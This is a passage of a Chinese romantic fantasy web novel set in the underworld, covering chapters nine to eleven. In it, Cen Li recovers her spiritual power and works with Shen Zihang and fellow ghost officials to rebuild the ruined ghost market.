孟婆白她一眼,又心疼地凑近看她,隔着镜子总归看不清楚,她细长的眉毛都纠结在一起,像是要打个结:“怎么好端端的灵力全无呢?你不是只分出去一点吗?之前我受伤的时候你不是也分给我灵力了那时候也没事啊?”
岑黎感受了一下,没有灵力在运转,自己现在也就是个普通的鬼了。
她摇摇头,披在脑后的黑发跟着晃了晃,衬得她脸色更惨白:“不知道,以前灵力能养回来,这次可能只是慢了一点吧。没事,没有灵力我不还是待在孟婆庄吗,你别想赶我走啊我跟你说。”
她盘腿坐着,伸长胳膊想拿面前茶几上的电视遥控器,她撑在沙发上的另一条手臂忽然有些颤抖,随即一软,整个人往下栽去,“我、哎呦……”
孟婆隔着镜面惊呼一声:“岑黎!”
“这是什么?”
云昭打开一直攥在手里的布,里面包裹着一株紫色的植物,边缘呈锯齿形的细长叶片,一株草药只有三片叶子,虽然奇怪,但看上去与地里的野草也没什么太大区别。
“地藏说这是昆仑山上的一种草药,能帮你蓄起灵力。”她把草药拿出来放在一边,“地藏说你现在可能会灵力缺失,但其实不是没有了,而是蓄不起来。”
“地藏说没说为何会这样?”
“没说。”云昭坐在岑黎身边帮她揉着磕到了桌角的额头,“这样疼吗?”
岑黎摇摇头,研究着手里的草药:“不疼。”她捏了捏草药叶子,再一闻指尖居然有些呛鼻,“这味道。”
草药被丢进锅里,岑黎趴在沙发扶手上看着云昭熟练地给锅里加上水,放上炉灶打开火。她啧一声:“草药洗了没啊?而且你在地藏那里不是养花的吗?”
云昭从旁边筷筒里抽了双筷子出来在锅里轻轻搅动,水很快变了颜色:“是养花的啊。”
岑黎又啧一声眯起眼:“那你这些动作怎么这么熟练,我很少看到做饭这么熟练的鬼诶。”
“现在大家都做饭啊,云说了鬼只是不吃饿不死,但鬼会馋。”云昭耸耸肩,嘿嘿笑着说,“我这是为了吃夜宵学会的,云也经常和我一起吃夜宵,还有其他师兄们,我跟你说,他们馋得很,但做的宵夜都难以下咽。”
见她满嘴都是云大人和地藏,岑黎欣慰地叹口气,将自己额前的头发吹得飘了飘。
“莫非你还担心我过去是受苦去的?那是地藏啊。”云昭施咒让筷子在锅里一圈一圈地搅,她抱着手臂在旁边盯着锅。
岑黎把下巴磕在沙发扶手上:“真要是让你受苦了我一定想办法把你带到我这儿来,到时候别说是地藏,就是鬼帝也不好使。”她说着突然想起了孟婆把自己带回家的场景。
云昭看着她,一副愿闻其详的表情。
“我下来的时候就没有记忆,当时有一个鬼差跟我说,我的所有记忆都被拿走了。”岑黎从沙发扶手上往下蹭着躺倒在沙发上,又从旁边扯过毛毯给自己盖好。
“岑黎,抬起头来。”阎罗的声音从殿上传出来,不急不缓,毫无情绪却听得人毛骨悚然。
岑黎抬起头,眼前是一片黑色的雾气,隐约能看见雾气后是看不到尽头的石阶,石阶两旁凭空悬挂着昏黄的灯。
阎罗的声音再次传来:“你如今没有记忆,若是想投胎我也只能将你投进牲畜道,你愿不愿意?”
岑黎用力地捏着自己的手指尖:“我……不愿意。”
“阎罗!让她到孟婆庄来吧!”
岑黎闭眼笑着,手里揉着毛毯回忆当时的场景:“孟婆这么喊着冲进阎罗殿,她跟阎罗说最近转世投胎的多,孟婆庄急需人手,阎罗起初还不同意。”
“为什么?那后来为什么又同意了?”云昭问。
“没有记忆的人投胎一般都会到牲畜道,从未听过有当鬼差的先例,阎罗自然也是不想坏了这规矩。但后来他会同意是因为,孟婆说我也可以做孟婆汤。”岑黎说着就听云昭那边十分惊讶地啊一声,“当时我也十分震惊,后来我问孟婆怎么回事,为什么我也可以制汤,她说她是胡扯的,幸好阎罗也没有再追究。”
“然后你就一直留在孟婆庄了?”
“对啊。”岑黎从沙发上坐起来,“一直到现在,那药汤熬好了吗?”
云昭端着那碗颜色诡异的药汤盯着她:“加油,岑黎姐姐,喝了就能快点好起来了。”
碗里这药汤不仅看着不像能喝的样子,连闻着都让人觉得无法入口,气味十分呛鼻,一股即辛辣又腥苦的味道弥漫在空气中。
岑黎五官都皱在一起:“这颜色实在不像能喝的样子……不然不喝了吧?”
“不喝你怎么能好呢?不好怎么管理孟婆庄?
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不能偷懒哦!”云昭把碗往前递了递。
岑黎挣扎了一会儿还是乖乖接过碗:“反正我也转世不了,偷懒有什么关系嘛。”她这么说着,还是咬牙一口干了那汤,还好,并没有看上去和闻上去那么难喝。
药汤进胃里很快便有了反应,岑黎感觉自己体内慢慢有一股力量聚集起来,她拿过搭在沙发上的那件白色官袍,眼看着衣摆出逐渐浮现出银纹。
“我这是不是好了!”
“好了,这就行。”城隍去池边洗掉满手的草药汁,“这是人间的土方,我听说挺管用,你先试试,左右都是鬼了怎么也不亏不是?”
沈自珩拱手:“多谢城隍,现在已经比刚才舒服了不少。刚刚跟您说的地府很快要重建,鬼市也需重新规划,所以……”
“沈老弟,我知道你缺人,但我这儿人手也不够啊。”城隍犯了难,绕着池子来回兜圈,“你看我这殿里哪还有人手能腾得出去?我都想问你们借人,就连钟馗养的兜兜到我这儿来都得干活。”
沈自珩像是被城隍传染似的也愁了起来,他轻皱着眉,狐狸眼也显得清冷疏离了几分:“那……”
“我还没养好身体!”岑黎抱着桥墩子抗议,“你一点都不体谅下属!”
沈自珩拽着她的手腕眯起眼:“你不是我下属。”
化形成小体型尖嘴鸟的大风单腿站在桥墩子上歪着脑袋看他们。
他?手上拽她的力道并不大,只能让她抽不回自己的手。沈自珩看着她死命抱着桥墩的样子,别过头偷偷歪了歪嘴角,又转回脸挂上一副欠揍的理所当然的模样说:“地府中十分缺人,我要是能找到别人……”
“你就不找我了?”岑黎斜眼看他,抱着桥墩的手上松了松劲。
沈自珩手上猛地一使劲:“想多了。”岑黎被他拽得一个踉跄,直往他身上倒——
原本站在桥墩上的大风扇着翅膀伸嘴叼住了她的衣领,正努力将岑黎往后拉。
“大风你太厉害了!一定要坚持住啊!你是最棒的宝宝!”
“大风松开!”
大风被沈自珩瞪了一眼,飞快地扇了两下翅膀啼叫一声,原本衔在嘴里的衣领被松开。
眼见着岑黎的脸逐渐通红,面目狰狞,沈自珩匆匆丢下一句我先到鬼市去便拔腿就走,大风想变回原本硕大的体型,却被他一手摁了回去,于是只好努力扑扇翅膀跟在他身后。
“沈自珩!”岑黎看着前面几乎是落荒而逃的身影,觉得自己气得心肝脾肺肾都一起疼起来,甚至衣袍上的银纹也消失了,她将提起的衣摆随手往身后一甩,“真是见了鬼了……我上辈子是欠你的吗!”
不远处传来一声戛然而止的啼叫,仔细看去大风被沈自珩一把箍在了怀里,嘴也被捏住了。
“沈自珩你放开它!”岑黎一扬胳膊气势汹汹地追过去。
桥那头看见了全程的孟婆捂着嘴笑了一阵,笑过瘾了,又轻轻叹了口气。
她走上奈何桥望向远处,身在地府中无论站在哪里望向远方都看不到尽头,能看到的最远处只是一团灰蒙的迷雾,看一会儿便觉得眼睛要陷进去,再多看一会儿,便觉得整个身体都要陷进去。
“可不就是上辈子欠的吗……”
9. 鬼市三
“沈自珩!你放开大风!”岑黎追上去把大风从沈自珩手中解救出来,大风在岑黎手中噗的一声变成了只有巴掌大小的鸟,白毛黄嘴,看上去十分小巧可爱。
“你这么捏把它捏死了怎么办!”她平摊着手掌,大风站在她的掌心像是附和一般仰起头叫了一声。
沈自珩毫不在意地伸手点了点大风的脑袋,将它推得一个趔趄:“它本来就是魂体,何来死的说法。”
还装模作样起来了,岑黎翻了个白眼挡开他的手:“那你也不能这么对它啊!它立功了的!”
沈自珩被挡了回来倒也不恼,收回手笑着说:“我又不是没有给它奖励,不信你问它。”他冲着窝在岑黎掌心里的大风一抬下巴。
“他真给你奖励了?”岑黎将大风托到眼前,将信将疑地问,“是的话你就叫一声,不是就叫两声。”
大风歪了歪脑袋,轻轻地叫了一声,声音不似原先那么响亮,但更清脆了些,配上这可爱小巧的身躯倒真像寻常人家养的宠物鸟了。
沈自珩在一旁看着,岑黎的眼睛又大又圆,皮肤也很白。他突然回想起那天岑黎手握镰刀的样子,她压低的眉头和被溅得猩红的眼角比勾魂的牛头马面更有震慑力。
他的眼睛弯了弯,不止有震慑力,还能一刀头骨矛兽呢。
岑黎笑眯眯地凑近大风,放轻了声音,她觉得现在自己一口气都能把大风吹起来:“你好可爱呀,跟我回去住两天好不好?”
大风又往另一个方向歪了歪脑袋。
见沈自珩又伸手,岑黎迅速抬手挡住了大风,却没想下一秒那手点在了自己额头上。沈自珩言语含笑,带着凉意的指尖点上她额头,转而又摊平手掌在她发顶上轻摸了一下说:“它就是个魂体,你养它做什么?”
岑黎眨着眼直愣愣地看他,脸颊似是热起来一些,她结巴着往后退了半步:“它、它可爱啊,魂体就不能养吗?”
“按地府中规定,它们都应待在镇妖塔中……”沈自珩说着话顿了顿,见她嘴角撇下来他才笑着继续讲下去,“但如果是在簿册上登记过的凶兽或是魂体。”
两手捧着大风的岑黎凑过来:“怎样?”
“可自由出入镇妖塔,不出地府即可。”沈自珩终于把这话一句拆三句地说完。
“所以大风可以跟我走!是不是呀大风,你是魂体,那你不可以吃东西咯?”岑黎用指尖轻轻挠了挠大风的翅膀,大风啼叫两声,十分愉快地抖了抖羽毛。
她其实也只是过过嘴瘾,自己分不出什么???精力去养大风。虽然距离骨矛兽一战已经半个多月,但身体里的灵力仍是时有时无,孟婆和云昭急得团团转却也想不出别的办法了。
沈自珩走在她身边,两人并肩往鬼市走去。原本的鬼市需得过了奈何桥再走一段路才能看见,现在则是以奈何桥为界,划分成了两块区域,这样即便是刚进地府还未投胎转世的鬼也能到鬼市逛上一逛,虽然买不了东西,但凑个热闹也是好的。
说来鬼市也算是地府中亘古存在的地界了,传说鬼市中能买到一切你想要的东西:勾魂锁、镇魂符、传说中可以辟邪的神兽毛发……虽然都并无用处,但总有愿意相信的鬼。
近些年的鬼市与以前相比便只有名字相同了,摊位上的东西也丰富很多:有能变色的氛围灯,迷你的音响,超大号水杯,不锈钢水壶……
还有一小块区域划分成了宠物市场,用篮子当狗窝的正撕扯着狗粮袋的幼犬,都是白花花、毛乎乎的,挤在一起呜嘤呜嘤地叫着,好像一大团温热的棉花,因此摊位前总有挪不动步的鬼;
摊主正与一旁卖强效杀虫剂的摊主吵架:你的杀虫剂放旁边去一点,我的狗要是舔到了怎么办!
杀虫剂摊主涨红了脸反驳:这有什么关系!反正地狱犬又不会死!
对面卖餐具器皿的摊主妇人一边嗑瓜子一边看戏,要是有鬼来凑热闹,她还会热心肠地讲解前因后果,顺带推销自己的货:你买完了狗可以直接到我这里买碗呀,你有碗吃饭?狗不要碗吗?去吧去吧,买完狗来买碗我给你打折!
“我原本想着去那个摊位买狗的,他家的小狗养得最好最活泼了,一个个都胖乎乎的。”岑黎手心里窝着的大风这会儿已经呼呼大睡了,她放轻了声音,“孟婆也说想养狗,我们正想着有空一起去看看,挑一挑。”
她不想回忆,但脑海中不受控制地浮现出了那天骨矛兽脚边的一滩猩红,像定格的电影画面一样挥之不去。她有些痛苦地皱着眉,过了好久才舒出一口气。
“等鬼市建好。”
身旁突然传出一声,岑黎问什么,沈自珩转头看她,眼里涌现着岑黎看不懂的情绪。
“等鬼市建好,我陪你去。”
岑黎哦了一声,衣袍上的银纹一闪一闪,她垂眼看着银纹的变化,自己的心跳大概也如此了。
鬼市分成两块区域后面积也扩大了一圈,边缘和住房之间相隔只有数十米,很难保证夜晚不会扰民,毕竟鬼市昼夜不停,晚上更是热闹。
两人先沿着边缘挨家挨户拜访了一番,住户大多是地府中的鬼差,开门见到他们时还以为自己要被问责,沈自珩说清来意后大家都表示并不在意,都是鬼嘛,晚上不睡觉也没关系。
“大人,鬼市还能像之前一样热闹吗?”孟婆庄里的小鬼差扒着门,脚边的小狗乐此不疲地往他的鞋上爬,“我刚买的小狗,连狗狗用品都没置办齐呢,我还要给它买点玩具,买个投食器,这样它自己在家不无聊……”
小鬼差来地府不过五六十年,今年才在鬼市上买了小狗,回家的路上他抱着小狗美滋滋地想着和小狗一起散步玩耍的场景,谁知道还没走到家就听见许多人尖叫,等他回过神的时候鬼市已然是一片废墟了。
趴在鞋上的小狗正努力地往他裤腿上爬,一边爬一边呜呜地撒娇,小鬼差有些不好意思地笑笑,胡乱擦了一把脸上的眼泪,弯下腰把小狗抱在怀里:“大人,孟婆把我安排去重建鬼市了,通知说明天就开工,您放心,我一定会努力工作
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的!”
岑黎伸手摸着小狗,挠了挠它的脑袋,又冲着小鬼差温和地笑,圆圆的眼睛弯成月牙:“我相信你,等鬼市建好了,我们一起去看看有没有小狗摊位,到时你帮我也挑一只小狗吧。”
“好!”小鬼差满心欢喜地应下。
“好什么好!”
岑黎的额头被拍了一巴掌,她抬手揉了揉,脸上的表情有些讨好:“我没事啦……让我去吧,好不好?”
对面的孟婆正双手叉腰打算好好说说她,岑黎却突然撒起娇来,她像是突然被包裹进了棉花软绵绵地泄了力。孟婆咬牙,恨铁不成钢地又捏一把她的脸:“我又没让你去,你说你到现在灵力都没恢复好,再去做苦力,有个三长两短的怎么办?我可没有能救你的本事啊。”
整个孟婆庄压根没有能左右岑黎的鬼,人也没有,虽说她还有个顶头上司孟婆,但孟婆也从不支使她。
岑黎笑笑:“我说了呀我想去……”
“就为了沈自珩?”孟婆冷哼一声,“你要真想和他好直接追啊!大胆地追,再不行直接绑来,我给你撑腰你怕什么。”
“说什么呢!那是人吗!莫非你谈恋爱也是这么谈的?”岑黎瞪大眼睛,见孟婆一脸理所当然地点头,她突然明白了,“而且我是为了孟婆庄!鬼市建成了参与的各司都有功,你是升不了了,但有点奖赏也是可以的吧?”
孟婆想了想:“那倒也是。但我担心你的身体……”
“没事没事,我要是干不下去了我就跑回来么。”岑黎嬉皮笑脸地看她,目光却瞟到空中逐渐显现出的白色圆影上。
那是昆仑给地府造出的幻象,一月一现,与人间的月圆时日所差无几,许多刚下来的小鬼都还会对着这幻象发呆,只有在地府中待得久的鬼会发现这影子始终是一个规整的圆,也不用分是上弦月还是下弦月,久而久之也就没人借这月寄情了。
孟婆不想理她,扭过头去看着奈河,岑黎不知什么时候走了,大概是跟她说过,但她没听见。
“那首诗怎么说来着,抽刀断水水更流……”
天色越来越暗,她恍惚觉得身旁多了一个身影,那身影修长,红色的发带缠绕着发丝在空中摇曳。她没有转头,依然看着前方,有些湍急的河流拍打着河岸和木船,在深夜里这声音震得心都发慌。
衣角被风吹了起来,孟婆上身微倾,用胳膊撑着桥墩,半个身子倚在冰凉的桥上。她环视四周,此刻算是地府的夜晚,街上空空荡荡。孟婆抬手解开发髻散下一头黑发,伸手从怀里摸出一根红发带系在头发上。
“抽刀断水……可水怎么会断呢?”
发带有些破旧,末梢甚至冒出了几根线头,孟婆将它拉到眼前看了许久,又放下了。
深得像是要将人一口吞进肚的夜色中,一根红色发带轻轻滑落在她手中的酒杯里,碰散了杯中的月亮。
“举杯……”她对着天上的月举起酒杯。
“销愁!”杯中的酒倾洒在河水中消失不见。
10. 鬼市 四
一张图纸被放在四张桌子拼起来的台面上,上面尽是方正的图案,排列有序。
图纸刚放好,周围迅速围上来一圈鬼差,其中一个鬼差伸手指着图:“这个代表什么?铺面吗?”
白玉扇啪地一声点在纸上:“对,这是鬼市规划图,你们先看看。”带来图纸的沈自珩让到一边拿着扇子轻轻扇着风,见旁边的身影凑近了一些,他动了动手腕,手中的扇子转了个方向。
岑黎的发丝被扇出来的风吹得轻晃,她眯了眯眼,往沈自珩的方向又凑近些,这人还挺有眼力见儿的嘛。
她索性闭上眼享受着:“这图是你画的?”
沈自珩扇着扇子轻笑一声:“我可没那么大本事,这是我们阴律司的李恒大人画的。”
“李恒大人?”
“李大人生前干的就是这个,技艺娴熟精湛,我看过图纸,规划设计得很合理。”见岑黎觑他,显然是怀疑态度,他耸耸肩,“我不会画,但看总是能看懂的吧,都说了李大人是做这个的,自然能有本事将图纸画得一目了然,门外汉也能一看便知。”
听他说了一长串话,岑黎啧一声喊他:“沈大人。”
沈自珩眉毛一跳。
“你最近心情很好?还是有什么喜事?”以往他可不会这么积极地接话。岑黎边说边夺过他的白玉扇拿在手里呼哧呼哧地扇着风,这里鬼多,又都挤在一堆,热得心烦。
沈自珩看她,一挑眉:“怎么?”
“你和以前有点不一样……”岑黎琢磨着措辞。
“你是想说你很久没看见罚单了吗?”沈自珩看向被她攥在手里的白玉扇。
岑黎刚想否定就看见沈自珩指间凭空出现的单子。
她暗道一声完蛋,把白玉扇小心翼翼地折好,捏着兰花指将沈自珩的衣襟拉开一些,把白玉扇塞了进去之后又轻轻拍了两下:“嘿嘿,您收好,这个就不用了。”她握住沈自珩的手指,连带着那张空白罚单也一起攥在手心。
人们都以为鬼是冰冷的,因此所到之处总有一股凉意,但其实鬼有温度,与常人并没什么不同。沈自珩就觉着温热又柔软的手掌包裹住了自己的手,他愣了愣,随后板出一副公事公办的模样:“你别……”
“沈大人,这是什么?”
岑黎笑嘻嘻地松开手,一边抬脸示意沈自珩过去解答,一边背过身去飞快掐诀将罚单化成灰。
“看不出来吗,这是桥。”沈自珩凑过去撇了一眼图纸随口回答,瞄到一旁背对着这里的岑黎,她手上似乎有什么动作,他抿了抿嘴,果然看见了很小的一阵灰打着卷散了。
怪可爱的。
“大人,您这回答也太敷衍了,我们知道这是桥,但咱地府里有桥了,为啥还要建一座桥?况且这桥底下也没水啊。”鬼差挠了挠脑袋,问题一串一串地往外冒。
“看见没?这块地方就是要建你问的那座桥的。”岑黎换了一身轻便的衣服,束起的裤脚下套了一双长靴。她抬手把快要掉下来的麻袋拎到旁边,“码整齐点,东倒西歪的塌了还要重新规整多费时间啊。”
鬼差叫无患,来地府有一百多年了,先前帮着修缮过奈何桥,但也只是填填石头——那时候不用水泥搭房子,用石头已经是十分牢固了,当时谁也没想到还能有水泥这样的东西能建房子。
他看着岑黎刚才指的那一大块地,现在有不少鬼差站在一起拿着铁锹挖坑。
“大人,这是要挖水塘?”无患把铁锹头杵在地上,泥土地里出现一道浅浅的印。这里原本铺着的青砖早就被骨矛兽踩碎,他们索性就将碎砖全部撬开扔掉,重新铺砖。
岑黎从口袋里抽出图纸,有些好笑地回他:“是池塘,以后还要往这里种花的。哦对,看见云昭大人了吗?”
无患四下张望着:“刚刚好像看见……咦?怎么只有云大人在?”
云今日穿着一身月白色的长袍,手上拿着一个篮子正站在不远处张望着。
岑黎小心地避开地上的泥坑走过去喊他:“云!今日又是你陪云昭来的啊,她人呢?”
云朝她举起手中的篮子。
“姐姐——”旁边突然蹿出一道鹅黄色的身影,岑黎来不及反应就被狠狠搂住了脖子。“想我了没?想我了吧!我也想你啦!”
“想想想,放开我。”岑黎轻轻拍拍她的背将她拉开,又上手捏她的脸,“重建鬼市以后咱们就天天见,怎么还没见够啊?”
阴律司从各司各殿都抽了人手来重建鬼市,原以为百十号人怎么也够了,但新鬼市面积扩大了不说,设计也复杂许多,不止是桥和池塘,还会有瓦肆、酒坊,这就又需要会木工的鬼差。
因人手不够,阴律司便又放出公告,沈自珩还没来得及去莲花台求人,云昭就自己跑过来了。
云昭看着图纸苦哈哈地干笑两声:“明明都是鬼,都有灵力法术,偏偏不能用来建房子造景,这得干到什么时候啊!”
岑黎看了眼像跟屁虫一样跟在云昭身边的云,隐约觉得不对劲,但她也没细想,转头对云昭说:“灵力造出来的就要一直用灵力维持,这你又不是不知道,谁有那么多灵力维持一整个鬼市呀?净说傻话。”
云正欲点头,被云昭瞪了一眼,抱起篮子憋着笑转过头去了。
“莲花种子都在这里了,有许多品种,养起来有些复杂,我把养护的注意事项都写下来了,你和我哥研究研究再种。”云昭想了想,“要不我直接帮你们种了算了。”
“能行吗,地藏能让你来我就已经很意外了,你还能留在这里种花啊?莲花台最近不忙?”沈自珩从远处走过来,墨色衣衫上沾满泥土,有些干裂的泥块正簌簌往下落。
云昭在原地蹦了蹦冲他挥手:“哥!我好久没见到你啦,为什么每日只有姐姐盯着,你偷懒去了?”
她乐呵呵地看沈自珩走过来,没先回答她,倒是先向云行礼:“云大人,好久不见。”
“好久不见,沈大人,近日莲花台不忙,我们倒是可以帮着先把莲花种了。”云也拱了拱手,原本拿在手中的篮子挎在了臂弯里,一向清傲的云大人此刻与地府中相传的谪仙二字,无半点关系。
“哥!哥哥哥!”
“行了我听见了,你稳当一些,裙子脏了也不自己洗,还得云大人帮你。”沈自珩嘴上数落云昭,手上倒先把糖炒栗子递了过去,“刚炒好的,小心烫嘴。”
趁着云昭捧着糖
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炒栗子雀跃,沈自珩把岑黎拉到一边,从袖子里掏出一把只有一手长的檀木小扇递给她,那扇面上烫着兰花,扇骨则是梅花,精细小巧,打开扇子轻轻一扇便有古朴的香气传来。
他握着檀木扇递过去,岑黎要接的时候他又往回缩了缩手:“给你檀木扇,别再惦记我的扇子了。”
岑黎早先在鬼市上便看中了这把扇子,但当时着急办事,再回头的时候连摊位也找不到了,没想到会在沈自珩手上看见。
她拼命克制住自己的嘴角,轻咳一声回答:“知道了。”说着便要去拿扇子,又被沈自珩躲开。
“我怎么觉得你总能从我这儿讨到好处。”沈自珩垂眼思索,“你拿个什么东西来交换吧。”
话语里满是大言不惭,岑黎险些把不要脸三个字说出口,但那股情绪还是没刹住车:“什么东西?!”
沈自珩盯着她,从鼻子里哼出一声:“嗯?”
“不是,我的意思是,你想要什么东西交换?”岑黎捏着扇子使劲往外抽,另一头仍被他牢牢握在手里纹丝不动,她几乎想要放弃的时候沈自珩开口了。
“我没想好,你先欠着吧。”说完他手一伸把扇子给她便转身去找云昭,留下岑黎呆在原地。
要早知道这人这么小肚鸡肠,初见的时候就算再喜欢他的脸,她也绝对不会上前打招呼的……
水池还没挖好,云昭站在旁边看着鬼差们挥锹挖着土,她突然向云伸手过去,从他臂弯将篮子拿下来,又把里面装着莲花种子的布袋拿了出来。
“怎么了?”岑黎在身上摸了一圈也没摸到能好好放置扇子的口袋,最终还是将檀木扇先给了沈自珩,让他先替自己好好保管。
云倒是看了一眼就知道了,他四下看了一圈后手掌一翻,凭空拿出一小块锦帛递给云昭:“用这个吧。”
云昭接过锦帛垫进篮子,又把篮子递给鬼差:“劳驾,能挖两铲土放进去吗?”
“这里的土又润又肥,种菜不错。”云笑着开口,拿过云昭一直拎在手里的篮子,“你又想种什么了?”
“番茄怎么样?城隍那里的番茄就很好吃,谛听也喜欢,它上回自己跑去偷吃还被城隍告状了。”
“可以啊,这么多土够吗?”
“那再挖点。”
岑黎不可置信地看向沈自珩:“莲花台还能种菜?地藏不管?”
沈自珩也一头雾水,他不常去莲花台,连殿里是什么样他都不记得了,更不要说莲花台里能不能种菜这么新鲜的问题。
他张嘴:“啊?”
“你说什么?你再说一遍!”厉温手中的寒冰杖重重落在地上。
殿下的站着的四名鬼差扑通一声跪下了:“地府外的屏障……”
偌大的阎王殿里没了一点声响,鬼差们头也不敢抬,就那么笔直地跪着,殿两边常年不熄的油灯亮着光,跪在最右边的鬼差原本盯着地上跳跃的灯影看着,忽然灯影消失了,他抬头看去,鬼帝正脸色铁青地站在他面前。
鬼差立刻伏在地上,只觉自己现在连吞咽都有些困难。他将身体伏得更低,声音几乎是从喉咙中挤出来:“……”
“外面如何?你说与我听。”
11. 鬼市 五
“地府外的屏障有、有裂缝,这么宽,看不出多长。”鬼差伸手比划着,那裂缝大概两指宽,隐约能看见原本屏障中注入的各方鬼帝们的灵力现在都缠绕在一起,像皮筋一样从旁向内拉扯着裂缝。
“裂缝是今日才出现的?”
鬼差又低下头去,他第一次见到鬼帝,脑中想起全是传说鬼帝心狠手辣,稍有犯错便会被罚,还会将鬼吊在滚烫的锅炉上熏蒸着……
他想着不由得又是一激灵:“是,我们每、每日都巡逻,昨天并没、没有发现裂缝。”
伏在他身边的鬼差们平日听到的也和那鬼一样,此刻没人敢开口附和,更是恨不得立刻原地消失,殿里又安静下来。
“府君,裂缝能补吗?”厉温将寒冰杖放在一旁,带着满身寒气走到鬼帝身边问。
地府是以鬼门关做“门”隔绝阴阳两界,但光有鬼门关是远不够的,地府创立之初便发生过阴阳混乱的情况,甚至经常会有凶兽冲撞房屋致使坍塌,因此各方鬼帝聚起了灵力结成屏障附在地府外围,这屏障也就是俗称的结界。
但这结界,目前找不到法子能将它修复。
鬼帝走上阎罗殿内高台,坐在寒冰椅上,拖地的黑袍上绣着的龙纹栩栩如生,似是盘绕在鬼帝脚边,它周身祥云环绕,多看两眼甚至叫人觉得也许真是一条龙蛰伏在这袍子上。鬼帝轻敲着椅子扶手发出沉闷的声响:“你们先起来吧。”
鬼差们这才起身,在宽大的官袍下偷偷活动着跪得僵麻的膝盖。
有个鬼差见鬼帝好像不似平日所传的那么吓人,大着胆子问:“府君,那裂缝会不会越来越大?要是结界没了,地府该怎么办啊?”
“结界自设立以来便一直完好,这是第一次出现问题,以后该如何待我先与其他鬼帝一同商讨。”鬼帝说着停顿了半晌,“有对策了你们自会知晓。在这之前,一切如常。”
鬼差们应下了,又听鬼帝说:“此事,你们不可对外言说。”
等他们拱手行礼起身后,鬼帝已然不见踪影。
池塘挖得很快,一上午便挖出一人高的深度,鬼差们将坑壁踩实,又提来两大桶晶莹剔透的液体,岑黎凑近看了看,猝不及防地闻到一阵腥臭,险些吐在桶里。
她连忙捏着鼻子往后退,瓮声瓮气地问:“这是什么?!也太难闻了,这能用来建池子?不会到时候一整个鬼市都是臭的吧!”
无患不知从哪里找来一把长柄汤勺,他拿着汤勺伸进桶里一舀一提——那液体竟然是黏稠的,在勺和桶之间扯出一条银线。岑黎瞪大眼睛又往后退了好远,惶恐地盯着那勺子,生怕无患一个没拿稳:“不要告诉我这是什么凶兽的……唾液……之类的。”
“不是不是,大人您放心,没有那么恶心。”无患舀了一勺那东西倒进坑里,那液体缓慢地向四周漫延,从厚厚的一坨逐渐拉伸成薄薄的一层,平铺在坑底。
沈自珩跳下去正想过去看看,被岑黎喊住。“沈大人,你扶我一把呗。”
岑黎不知什么时候站到了坑边,正好奇地往下望,耳边的头发随着她探身的动作滑落到脸颊边。她冲着沈自珩笑:“我也想看看,我还没见过这东西呢,好有意思啊!”
“不嫌臭了?”沈自珩仰起头看她,又细细看了看她的脸。
她的下巴上有一大块擦伤,那是前几天她滑了一跤,刮擦到了木材留下的伤,他当时离得远根本没反应过来,等他上前看时只看到岑黎含着泪对他笑:“还好还好,不至于破相。”
岑黎摇摇头,又朝他伸出手,半个脚掌都踩在坑的边缘:“哎呀,臭是挺臭的,那不能因为臭就不干活吧,你扶我一把呀。”
她搭上沈自珩的小臂借力往下跳,坑底踩得很平,她稳稳落地。不过几秒钟的事情岑黎心里却炸开了花——她感觉到了,跳下来的时候沈自珩悄悄地扶了她一把。
扶的是肩膀。她抬手掩饰似的在衣服上一通狂拍,趁机看了看刚刚被沈自珩触碰过的那边肩膀。
岑黎笑盈盈地去看那神奇的液体,她离那一滩液体只有不到半米,倒是闻不到那股腥臭了。她又凑近一些吸了吸鼻子,还是闻不到,于是索性一撩裤腿蹲在旁边:“不臭了?”
她向同样蹲在一边的沈自珩求证:“是不是不臭了?”
“是,不臭了。”沈自珩也学她蹲在旁边,手指着那滩东西说,“这是旁边山上的一种巨蟒鳞片下的东西,说是黏液其实更像胶,你看,渗透进泥土后便凝固了。”
“鳞片下的?那蟒不就死了?”
“确切地说,是巨蟒死了之后才会有这东西,地府中一直有专人做这个,等巨蟒死亡后剥开它的鳞片,收集这胶,巨蟒体型庞大,整条蟒身上能收集许多,大概……五六桶吧。”无患和另一鬼差在旁边补充着。
那说话的鬼差看上去应是年纪很轻时便下到地府来了,细看还与无患长得有些像,岑黎让他俩并排站好,她的目光在两人脸上来回扫视,突然开口问:“你俩,什么关系?”
那鬼差眼睛一亮,朝无患伸出手:“拿来。”
无患掏出两支香烛拍在他手上:“给你。”他无奈地叹了口气,有些埋怨,“大人,您这眼睛也太尖了,这就发现了,我以为您怎么着也得过个两三天呢。”
岑黎不解:“啊?”
那年轻鬼差叫无恙,是无患的亲弟弟,十四岁因病去世。
“我哥走后没多久,人间就闹瘟疫了,我从小就体弱多病,肯定是躲不过去的啊。”无恙一摊手,“但好在到地府来以后身上的病痛全无,我当鬼差也就不用再遭罪了。”
“你们是怎么当上鬼差的?”云昭站在上面问。
“我们幼年流浪的时候碰到一个疯子,他说要教我们木匠活儿,不学白不学嘛,我们就答应了,跟着他去了一处地方。
他带我们去了一处宅子,非常气派,我们以为他要给我们看的只是这座宅子,但他带我们进去了,院子里堆满了各式各样的稀奇东西,风箱、橱柜、各种尺寸的水车,全是用木头做的,甚至还有木雕人像。
他教了我们六年,也养了我们六年,每日盯着我们练活儿、雕刻,我们先是学会了做手把件,做好之后就拿出去卖了
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换饭菜,后又学会了做桌椅板凳,再到后来我们开始跟着他去建宅院。
大家都说他疯,但我总觉得他那是太聪明了,聪明到没人能理解他。”
“后来闹饥荒,雇我们建宅子的人跑了,宅子没有完全建好,只能遮风避雨,不能用作住宅。当时有许多难民逃到我们那个小镇上,那疯子和我们一合计,索性把宅门打开,让难民们都进来了,没有吃的,但好歹有个落脚的地方。”
“那疯子……后来呢?”
“后来我们兄弟都来了地府,赏善司魏征大人说我们救了五十余人,攒了许多功德,下一世可以投胎到好人家。”无患说着就笑了,“我们正犹豫的时候魏大人说地府要重修四大司,问我们愿不愿意留下来做鬼差。”
“做鬼差多好啊,不老不死,少了许多人间的烦恼。”云昭潇洒地一挥袖子插嘴道,“我也是主动留下来的,我宁愿留在地府也不想回人间了。”
云在一旁摇摇头,屈指弹了一下她的额头:“不好这么比较的,地府中也没有人间有趣啊,选择随心,对他人不造成困扰便行了,你说这话让地藏听见了又要训你。”
刚才倒进坑里的胶已经完全看不见了,但那块地就像沈自珩说的,和胶混合后变得十分坚固,表面也没有尘土,光滑得竟然像石面。
“大人,您上去吧,我们把这里都铺上胶,等胶干了之后再涂上一层胶,贴上砖,池塘就算建好了。”无患站在旁边对岑黎说,手上接过上面递来的桶往她面前伸了伸,“这个可有臭味啊。”
